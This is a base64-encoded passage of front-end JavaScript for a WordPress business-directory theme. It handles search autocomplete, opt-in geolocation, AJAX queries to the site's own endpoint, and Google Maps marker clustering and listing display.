RGl2LmhlaWdodCgpIC8gMjsKCXNwaW5uZXJEaXYuY3NzKCd0b3AnLHRvcFBvc2l0aW9uKydweCcpLmZhZGVJbigpOwoJaWYgKGRpc2FibGVTdWJtaXQpIHsKCQlzZWFyY2hTdWJtaXQuYXR0cignZGlzYWJsZWQnLCB0cnVlKTsKCX0KfQoKZnVuY3Rpb24gaGlkZUxvYWRpbmcoKSB7CglzcGlubmVyRGl2LmZhZGVPdXQoKTsKCXNlYXJjaFN1Ym1pdC5hdHRyKCdkaXNhYmxlZCcsIGZhbHNlKTsKfQoKLy8gc2V0IGludGVyYWN0aXZlIHNlYXJjaAppZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CglzZWFyY2hJbnB1dC50eXBlV2F0Y2goewoJCWNhbGxiYWNrOiBmdW5jdGlvbigpIHsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfSwKCQl3YWl0OiA1MDAsCgkJaGlnaGxpZ2h0OiBmYWxzZSwKCQljYXB0dXJlTGVuZ3RoOiAwCgl9KTsKCgljYXRlZ29yeUlucHV0Lm9uKCJhdXRvY29tcGxldGVzZWxlY3QiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UsdWkuaXRlbS52YWx1ZSxmYWxzZSk7Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZXNlbGVjdCIsIGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSxmYWxzZSx1aS5pdGVtLnZhbHVlKTsKCX0pOwoJY2F0ZWdvcnlJbnB1dC5vbigiYXV0b2NvbXBsZXRlY2xvc2UiLCBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCWlmKCQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKSA9PSAnMCcpewoJCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlKTsKCQl9Cgl9KTsKCWxvY2F0aW9uSW5wdXQub24oImF1dG9jb21wbGV0ZWNsb3NlIiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlpZigkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCkgPT0gJzAnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoJfSk7Cn0KCiQoJyNkaXItc2VhcmNoaW5wdXQtc2V0dGluZ3MgLmljb24nKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykudG9nZ2xlKCk7Cn0pOwoKJCgnI2Rpci1zZWFyY2gtYWR2YW5jZWQtY2xvc2UnKS5jbGljayhmdW5jdGlvbigpIHsKCSQoJyNkaXItc2VhcmNoLWFkdmFuY2VkJykuaGlkZSgpOwp9KTsKCiQoJyNkaXItc2VhcmNoLWFkdmFuY2VkIC52YWx1ZS1zbGlkZXInKS5zbGlkZXIoewoJdmFsdWU6IGdlb0lucHV0UmFkaXVzLnZhbCgpLAoJbWluOiAxLAoJbWF4OiAzMDAsCglzdGVwOiAxLAoJY2hhbmdlOiBmdW5jdGlvbihldmVudCwgdWkpIHsKCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyAmJiBnZW9JbnB1dC5pcygnOmNoZWNrZWQnKSl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCX0sCglzbGlkZTogZnVuY3Rpb24oZXZlbnQsIHVpKSB7CgkJZ2VvSW5wdXRSYWRpdXMudmFsKHVpLnZhbHVlKTsKCX0KfSk7CgovLyBHZW9sb2NhdGlvbgoKZ2VvSW5wdXQuRmFuY3lDaGVja2JveCgpOwoKZnVuY3Rpb24gZW5hYmxlR2VvKCkgewoJZ2VvSW5wdXQuYXR0cignY2hlY2tlZCcsIHRydWUpOwoJZ2VvSW5wdXQubmV4dCgpLnJlbW92ZUNsYXNzKCdvZmYnKS5hZGRDbGFzcygnb24nKTsKfQoKZnVuY3Rpb24gZGlzYWJsZUdlbygpIHsKCWdlb0lucHV0LmF0dHIoJ2NoZWNrZWQnLCBmYWxzZSk7CglnZW9JbnB1dC5uZXh0KCkucmVtb3ZlQ2xhc3MoJ29uJykuYWRkQ2xhc3MoJ29mZicpOwp9CgoJaWYoZ2VvSW5wdXQuaXMoIjpjaGVja2VkIikpIHsKCgkJLy8gZW5hYmxlIGFmdGVyIHVzZXIgYWxsb3cgZ2VvbG9jYXRpb24KCQlkaXNhYmxlR2VvKCk7CgkJc2hvd0xvYWRpbmcodHJ1ZSk7CgoJCWlmIChuYXZpZ2F0b3IuZ2VvbG9jYXRpb24pIHsKCQkJbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihmdW5jdGlvbihwb3NpdGlvbikgewoKCQkJCWdlb0lucHV0TGF0LnZhbChwb3NpdGlvbi5jb29yZHMubGF0aXR1ZGUpOwoJCQkJZ2VvSW5wdXRMbmcudmFsKHBvc2l0aW9uLmNvb3Jkcy5sb25naXR1ZGUpOwoKCQkJCWVuYWJsZUdlbygpOwoKCQkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoKCQkJfSwgZnVuY3Rpb24oZXJyb3IpewoJCQkJZGlzYWJsZUdlbygpOwoJCQkJaGlkZUxvYWRpbmcoKTsKCQkJfSk7CgkJfSBlbHNlIHsKCQkJZGlzYWJsZUdlbygpOwoJCQloaWRlTG9hZGluZygpOwoJCX0KCgl9CgpnZW9JbnB1dC5vbigiY2hhbmdlIixmdW5jdGlvbihldmVudCkgewoKCWlmKGdlb0lucHV0LmlzKCI6Y2hlY2tlZCIpKSB7CgoJCS8vIGVuYWJsZSBhZnRlciB1c2VyIGFsbG93IGdlb2xvY2F0aW9uCgkJZGlzYWJsZUdlbygpOwoJCXNob3dMb2FkaW5nKHRydWUpOwoKCQlpZiAobmF2aWdhdG9yLmdlb2xvY2F0aW9uKSB7CgkJCW5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZXRDdXJyZW50UG9zaXRpb24oZnVuY3Rpb24ocG9zaXRpb24pIHsKCgkJCQlnZW9JbnB1dExhdC52YWwocG9zaXRpb24uY29vcmRzLmxhdGl0dWRlKTsKCQkJCWdlb0lucHV0TG5nLnZhbChwb3NpdGlvbi5jb29yZHMubG9uZ2l0dWRlKTsKCgkJCQllbmFibGVHZW8oKTsKCgkJCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CgkJCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJCQl9IGVsc2UgewoJCQkJCWhpZGVMb2FkaW5nKCk7CgkJCQl9CgoJCQl9LCBmdW5jdGlvbihlcnJvcil7CgkJCQlkaXNhYmxlR2VvKCk7CgkJCQloaWRlTG9hZGluZygpOwoJCQl9KTsKCQl9IGVsc2UgewoJCQlkaXNhYmxlR2VvKCk7CgkJCWhpZGVMb2FkaW5nKCk7CgkJfQoKCX0gZWxzZSB7CgoJCWlmKHNlYXJjaC5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKXsKCQkJYWpheEdldE1hcmtlcnModHJ1ZSxmYWxzZSk7CgkJfQoKCX0KCn0pOwoKZnVuY3Rpb24gYWpheEdldE1hcmtlcnMoYWpheCxnZW9sb2MscmV3cml0ZUNhdGVnb3J5LHJld3JpdGVMb2NhdGlvbixyZXNldCkgewoKCXNob3dMb2FkaW5nKCk7CgoJcmFkaXVzID0gbmV3IEFycmF5KCk7CgoJdmFyIGNhdGVnb3J5ID0gMDsKCXZhciBsb2NhdGlvbiA9IDA7Cgl2YXIgc2VhcmNoID0gJyc7Cgl2YXIgbG9jYWxlID0gJ2VuJzsKCglpZihhamF4KXsKCQlpZihyZXdyaXRlQ2F0ZWdvcnkpewoJCQljYXRlZ29yeSA9IHJld3JpdGVDYXRlZ29yeTsKCQl9IGVsc2UgewoJCQljYXRlZ29yeSA9ICQoJyNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQnKS52YWwoKTsKCQl9CgkJaWYocmV3cml0ZUxvY2F0aW9uKXsKCQkJbG9jYXRpb24gPSByZXdyaXRlTG9jYXRpb247CgkJfSBlbHNlIHsKCQkJbG9jYXRpb24gPSAkKCcjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkJykudmFsKCk7CgkJfQoJCXNlYXJjaCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgpOwoKCQl2YXIgYWpheEdlbyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvJykuYXR0cigiY2hlY2tlZCIpOwoKCQlpZihhamF4R2VvICYmICFyZXNldCl7CgkJCXZhciBpbnB1dFJhZGl1cyA9IGdlb0lucHV0UmFkaXVzLnZhbCgpOwoJCQlpZighaXNOYU4oaW5wdXRSYWRpdXMpKXsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGlucHV0UmFkaXVzKSk7CgkJCX0gZWxzZSB7CgkJCQlnZW9JbnB1dFJhZGl1cy52YWwoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKTsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSkpOwoJCQl9CgkJCXJhZGl1cy5wdXNoKHBhcnNlRmxvYXQoZ2VvSW5wdXRMYXQudmFsKCkpKTsKCQkJcmFkaXVzLnB1c2gocGFyc2VGbG9hdChnZW9JbnB1dExuZy52YWwoKSkpOwoJCX0KCX0gZWxzZSB7CgkJaWYocmVzZXQpewoJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJbG9jYXRpb24gPSBwYXJzZUludChtYXBEaXYuZGF0YSgnbG9jYXRpb24nKSk7CgkJCXNlYXJjaCA9IG1hcERpdi5kYXRhKCdzZWFyY2gnKTsKCQl9IGVsc2UgewoJCQlpZihnZW9sb2MpewoJCQkJcmFkaXVzLnB1c2gocGFyc2VJbnQoKSk7CgkJCQlyYWRpdXMucHVzaChnZW9sb2MubGF0KCkpOwoJCQkJcmFkaXVzLnB1c2goZ2VvbG9jLmxuZygpKTsKCgkJCQljYXRlZ29yeSA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdjYXRlZ29yeScpKTsKCQkJCWxvY2F0aW9uID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2xvY2F0aW9uJykpOwoJCQkJc2VhcmNoID0gbWFwRGl2LmRhdGEoJ3NlYXJjaCcpOwoJCQl9CgkJfQoJfQoJLy8gZ2V0IGl0ZW1zIGZyb20gYWpheAoJJC5wb3N0KAoJCS8vIE15QWpheCBkZWZpbmVkIGluIGZ1bmN0aW9ucy5waHAKCQlNeUFqYXguYWpheHVybCwKCSAgICB7CgkgICAgICAgIGFjdGlvbiA6ICdnZXRfaXRlbXMnLAoJICAgICAgICBjYXRlZ29yeSA6IGNhdGVnb3J5LAoJICAgICAgICBsb2NhdGlvbiA6IGxvY2F0aW9uLAoJICAgICAgICBzZWFyY2ggOiBzZWFyY2gsCgkgICAgICAgIHJhZGl1cyA6IHJhZGl1cywKCSAgICAgICAgd3BtbF9sYW5nIDogbG9jYWxlCgkgICAgfSwKCSAgICBmdW5jdGlvbiggcmVzcG9uc2UgKSB7CgkgICAgCS8vIHNob3cgcmVzZXQgYWpheCBidXR0b24KCSAgICAJaWYoKCFyZXNldCkgJiYgKCFnZW9sb2MpICYmICgkKCcjZGlyZWN0b3J5LXNlYXJjaCcpLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpKXsKCSAgICAJCSQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4Jykuc2hvdygpOwoJICAgIAl9CgkgICAgCWlmKGFqYXhHZW8gJiYgIXJlc2V0KXsKCSAgICAJCXZhciBhamF4R2VvT2JqID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGdlb0lucHV0TGF0LnZhbCgpKSxwYXJzZUZsb2F0KGdlb0lucHV0TG5nLnZhbCgpKSk7CgkgICAgCQlnZW5lcmF0ZU1hcmtlcnMocmVzcG9uc2UsYWpheEdlb09iaix0cnVlKTsKCSAgICAJfSBlbHNlIHsKCSAgICAJCWdlbmVyYXRlTWFya2VycyhyZXNwb25zZSxnZW9sb2MpOwoJICAgIAl9CgkgICAgfQoJKQoJLmZhaWwoZnVuY3Rpb24oZSkgeyBjb25zb2xlLmxvZygiQUpBWCBFUlJPUiIsIGUpOyB9KTsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVNYXJrZXJzKGRhdGFSYXcsZ2VvbG9jLGFqYXhHZW8pIHsKCgkvLyBjbGVhciBtYXAKCWluZm9ib3guY2xvc2UoKTsKCW1hcERpdi5nbWFwMyh7IGNsZWFyOiB7IH0gfSk7CgoJbWFwLnNldFpvb20oMTApOwoKCXZhciBsZW4gPSAkLm1hcChkYXRhUmF3LCBmdW5jdGlvbihuLCBpKSB7IHJldHVybiBpOyB9KS5sZW5ndGg7CgoJdmFyIGkgPSAwOwoJLy8gcHJlcGFyZSBkYXRhCgl2YXIgZGF0YSA9IG5ldyBBcnJheSgpOwoJZm9yKHZhciBrZXkgaW4gZGF0YVJhdyl7CgkJaWYgKCEoZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10gPT0gIjAiICYmIGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMb25naXR1ZGUnXSA9PSAiMCIpKSB7CgkJCXZhciByYXRpbmcgPSAnJzsKCQkJaWYoZGF0YVJhd1trZXldLnJhdGluZyl7CgkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InJhdGluZyI+JzsKCQkJCWZvciAodmFyIGogPSAxOyBqIDw9IGRhdGFSYXdba2V5XS5yYXRpbmdbJ21heCddOyBqKyspIHsKCQkJCQlyYXRpbmcgKz0gJzxkaXYgY2xhc3M9InN0YXInOwoJCQkJCWlmKGogPD0gZGF0YVJhd1trZXldLnJhdGluZ1sndmFsJ10pIHsKCQkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCQl9CgkJCQkJcmF0aW5nICs9ICciPjwvZGl2Pic7CgkJCQl9CgkJCQlyYXRpbmcgKz0gJzwvZGl2Pic7CgkJCX0KCgkJCXZhciB0aHVtYkNvZGUgPSAoZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKSA/ICcgd2l0aC1pbWFnZSI+PGltZyBzcmM9IicrZGF0YVJhd1trZXldLnRpbXRodW1iVXJsKyciIGFsdD0iIiAvPicgOiAnIj4nOwoJCQlkYXRhW2ldID0gewoJCQkJbGF0TG5nOiBbZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xhdGl0dWRlJ10sZGF0YVJhd1trZXldLm9wdGlvbnNEaXJbJ2dwc0xvbmdpdHVkZSddXSwKCQkJCW9wdGlvbnM6IHsKCQkJCQlpY29uOiBkYXRhUmF3W2tleV0ubWFya2VyLAoJCQkJCXNoYWRvdzogImh0dHA6Ly9kZW1vMTAwLmdvbGR3ZWIuYml6L3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL2ljb24tc2hhZG93LnBuZyIsCgkJCQl9LAoJCQkJZGF0YTogJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPjxkaXYgY2xhc3M9Im1hcmtlci1jb250ZW50Jyt0aHVtYkNvZGUrJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPjxkaXYgY2xhc3M9InRpdGxlIj4nK2RhdGFSYXdba2V5XS5wb3N0X3RpdGxlKyc8L2Rpdj4nK3JhdGluZysnPGRpdiBjbGFzcz0iYWRkcmVzcyI+JytkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsiYWRkcmVzcyJdKyc8L2Rpdj48YSBocmVmPSInK2RhdGFSYXdba2V5XS5saW5rKyciIGNsYXNzPSJtb3JlLWJ1dHRvbiI+VklFVyBNT1JFPC9hPjwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4nCgkJCX07CgkJCWkrKzsKCQl9CiAgICB9CgogICAgLy8gc2hvdyBnZW9sb2MgbWFya2VyCiAgICBpZihnZW9sb2MpewogICAgCW1hcERpdi5nbWFwMyh7CgkJCW1hcmtlcjogewogICAgCQkJbGF0TG5nOiBnZW9sb2MsCiAgICAJCQlvcHRpb25zOiB7CiAgICAJCQkJYW5pbWF0aW9uOiBnb29nbGUubWFwcy5BbmltYXRpb24uRFJPUCwKICAgIAkJCQl6SW5kZXg6IDEwMDAsCiAgICAJCQkJaWNvbjogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKICAgIAkJCX0KICAgIAkJfQogICAgCX0pOwoJfQoKCS8vIGdlbmVyYXRlIG1hcmtlcnMgaW4gbWFwCgl2YXIgbWFwT2JqID0gewoJCW1hcmtlcjogewoJCQl2YWx1ZXM6IGRhdGEsCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KICAgICAgICAgIAl9LAoJCQlldmVudHM6IHsKCQkJCWNsaWNrOiBmdW5jdGlvbihtYXJrZXIsIGV2ZW50LCBjb250ZXh0KXsKCQkJCQltYXAucGFuVG8obWFya2VyLmdldFBvc2l0aW9uKCkpOwoKCQkJCQlpbmZvYm94LnNldENvbnRlbnQoY29udGV4dC5kYXRhKTsKCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgoJCQkJfQoJCQl9CgkJfQoJfTsKCglpZihnZW9sb2MpewoJCWlmKGFqYXhHZW8pewoJCQl2YXIgaW5wdXRSYWRpdXMgPSBnZW9JbnB1dFJhZGl1cy52YWwoKTsKCQkJaWYoIWlzTmFOKGlucHV0UmFkaXVzKSl7CgkJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMudmFsKCkpICogMTAwMDsKCQkJfSBlbHNlIHsKCQkJCXZhciByYWRpdXNJbk0gPSBwYXJzZUludChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpICogMTAwMDsKCQkJfQoJCQkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJCQltYXBPYmouY2lyY2xlID0gewoJCQkJb3B0aW9uczogewoJCQkJCWNlbnRlcjogZ2VvbG9jLAoJCQkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJCQl2aXNpYmxlIDogdHJ1ZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9IGVsc2UgewoJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoKSAqIDEwMDA7CgkJCS8vIGF1dG9maXQgYnkgY2lyY2xlCgkJCW1hcE9iai5jaXJjbGUgPSB7CgkJCQlvcHRpb25zOiB7CgkJCQkJY2VudGVyOiBnZW9sb2MsCgkJCQkJcmFkaXVzIDogcmFkaXVzSW5NLAoJCQkJCXZpc2libGUgOiBmYWxzZSwKCQkJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCQkJZmlsbENvbG9yIDogIiMyYzgyYmUiLAoJCQkJCXN0cm9rZUNvbG9yIDogIiMyYzgyYmUiCgkJCQl9CgkJCX0KCQl9Cgl9CgoJaGlkZUxvYWRpbmcoKTsKCgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7CgoJaWYobGVuID09IDEgJiYgIWdlb2xvYyl7CgkJbWFwLnNldFpvb20oMTApOwoJfQoKfQoKZnVuY3Rpb24gZ2VuZXJhdGVPbmx5R2VvKGxhdCxsbmcscmFkaXVzKSB7Cgl2YXIgZ2VvbG9jID0gbmV3IGdvb2dsZS5tYXBzLkxhdExuZyhwYXJzZUZsb2F0KGxhdCkscGFyc2VGbG9hdChsbmcpKTsKCS8vIGdlbmVyYXRlIGdlbyBwaW4KCW1hcERpdi5nbWFwMyh7CgkJbWFya2VyOiB7CgkJCWxhdExuZzogZ2VvbG9jLAoJCQlvcHRpb25zOiB7CgkJCQlhbmltYXRpb246IGdvb2dsZS5tYXBzLkFuaW1hdGlvbi5EUk9QLAoJCQkJekluZGV4OiAxMDAwLAoJCQkJaWNvbjogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKCQkJfQoJCX0KCX0pOwoJLy8gZ2VuZXJhdGUgYW5kIGF1dG9maXQgYnkgY2lyY2xlCgl2YXIgbWFwT2JqID0ge307Cgl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQocmFkaXVzKSAqIDEwMDA7CgkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJbWFwT2JqLmNpcmNsZSA9IHsKCQlvcHRpb25zOiB7CgkJCWNlbnRlcjogZ2VvbG9jLAoJCQlyYWRpdXMgOiByYWRpdXNJbk0sCgkJCXZpc2libGUgOiB0cnVlLAoJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJc3Ryb2tlQ29sb3IgOiAiIzJjODJiZSIKCQl9Cgl9CgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7Cn0KCnZhciBjb250ZW50RGl2ID0gJCgnI21haW4gI2NvbnRlbnQnKTsKdmFyIGN1cnJDb250ZW50ID0gY29udGVudERpdi5odG1sKCk7CnZhciBhamF4Q29udGVudDsKCmZ1bmN0aW9uIGdlbmVyYXRlQ29udGVudChkYXRhKSB7CgoJdmFyIGxlbmd0aCA9ICQubWFwKGRhdGEsIGZ1bmN0aW9uKG4sIGkpIHsgcmV0dXJuIGk7IH0pLmxlbmd0aDsKCgljb250ZW50RGl2LmZpbmQoJy5hamF4LWNvbnRlbnQnKS5yZW1vdmUoKTsKCXZhciB0aXRsZTsKCWlmKGxlbmd0aCA9PSAwKXsKCQl0aXRsZSA9ICQoJzxoZWFkZXIgY2xhc3M9ImVudHJ5LWhlYWRlciI+PC9oZWFkZXI+Jyk7Cgl9IGVsc2UgewoJCXRpdGxlID0gJCgnPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj48L2hlYWRlcj4nKTsKCX0KCgl2YXIgaHRtbDsKCWlmKGxlbmd0aCA+IDApewoJCWh0bWwgPSAkKCc8dWwgY2xhc3M9Iml0ZW1zIj48L3VsPicpOwoJfQoJdmFyIGxpbWl0ID0gMzA7CglpZihsaW1pdCA+IGxlbmd0aCkgewoJCWxpbWl0ID0gbGVuZ3RoOwoJfQoJdmFyIGkgPSAwOwoJZm9yKHZhciBrZXkgaW4gZGF0YSl7CgkJdmFyIHRodW1ibmFpbEh0bWw7CgkJaWYoZGF0YVtrZXldLnRpbXRodW1iVXJsQ29udGVudCl7CgkJCXZhciB0aHVtYm5haWxIdG1sID0gJzxkaXYgY2xhc3M9InRodW1ibmFpbCI+PGltZyBzcmM9IicrZGF0YVtrZXldLnRpbXRodW1iVXJsQ29udGVudCsnIiBhbHQ9Ikl0ZW0gdGh1bWJuYWlsIiAvPjxkaXYgY2xhc3M9ImNvbW1lbnQtY291bnQiPicrZGF0YVtrZXldLmNvbW1lbnRfY291bnQrJzwvZGl2PjwvZGl2Pic7CgkJfSBlbHNlIHsKCQkJdGh1bWJuYWlsSHRtbCA9ICcnOwoJCX0KCQl2YXIgcmF0aW5nID0gJyc7CgkJaWYoZGF0YVtrZXldLnJhdGluZyl7CgkJCXJhdGluZyArPSAnPHNwYW4gY2xhc3M9InJhdGluZyI+JzsKCQkJZm9yICh2YXIgaSA9IDE7IGkgPD0gZGF0YVtrZXldLnJhdGluZ1snbWF4J107IGkrKykgewoJCQkJcmF0aW5nICs9ICc8c3BhbiBjbGFzcz0ic3Rhcic7CgkJCQlpZihpIDw9IGRhdGFba2V5XS5yYXRpbmdbJ3ZhbCddKSB7CgkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCX0KCQkJCXJhdGluZyArPSAnIj48L3NwYW4+JzsKCQkJfQoJCQlyYXRpbmcgKz0gJzwvc3Bhbj4nOwoJCX0KCQl2YXIgZGVzY3JpcHRpb25IdG1sID0gJzxkaXYgY2xhc3M9ImRlc2NyaXB0aW9uIj4nK2RhdGFba2V5XS5leGNlcnB0RGlyKyc8L2Rpdj4nOwoJCWh0bWwuYXBwZW5kKCc8bGkgY2xhc3M9Iml0ZW0gY2xlYXIiPicrdGh1bWJuYWlsSHRtbCtkZXNjcmlwdGlvbkh0bWwrJzwvbGk+Jyk7CgkJaWYoaSA8PSBsaW1pdCl7CgkJCWkrKzsKCQl9IGVsc2UgewoJCQlicmVhazsKCQl9Cgl9OwoJYWpheENvbnRlbnQgPSAkKCc8ZGl2IGNsYXNzPSJhamF4LWNvbnRlbnQiPjwvZGl2PicpLmh0bWwodGl0bGUpLmFwcGVuZChodG1sKTsKCWNvbnRlbnREaXYuZmluZCgnPicpLmhpZGUoKTsKCWNvbnRlbnREaXYuYXBwZW5kKGFqYXhDb250ZW50KTsKfQoKLy8gcmVzZXQgc2VhcmNoIGFqYXggdmFsdWVzCiQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4JykuY2xpY2soZnVuY3Rpb24gKCkgewoKCS8vIGdldCBkZWZhdWx0IHZhbHVlcwoJYWpheEdldE1hcmtlcnMoZmFsc2UsZmFsc2UsZmFsc2UsZmFsc2UsdHJ1ZSk7CgoKCSQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgiIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC10ZXh0IGxhYmVsJykuc2hvdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24nKS52YWwoIiIpOwoJJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgiMCIpOwoJLy8gZm9yIElFCgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkgbGFiZWwnKS5zaG93KCk7C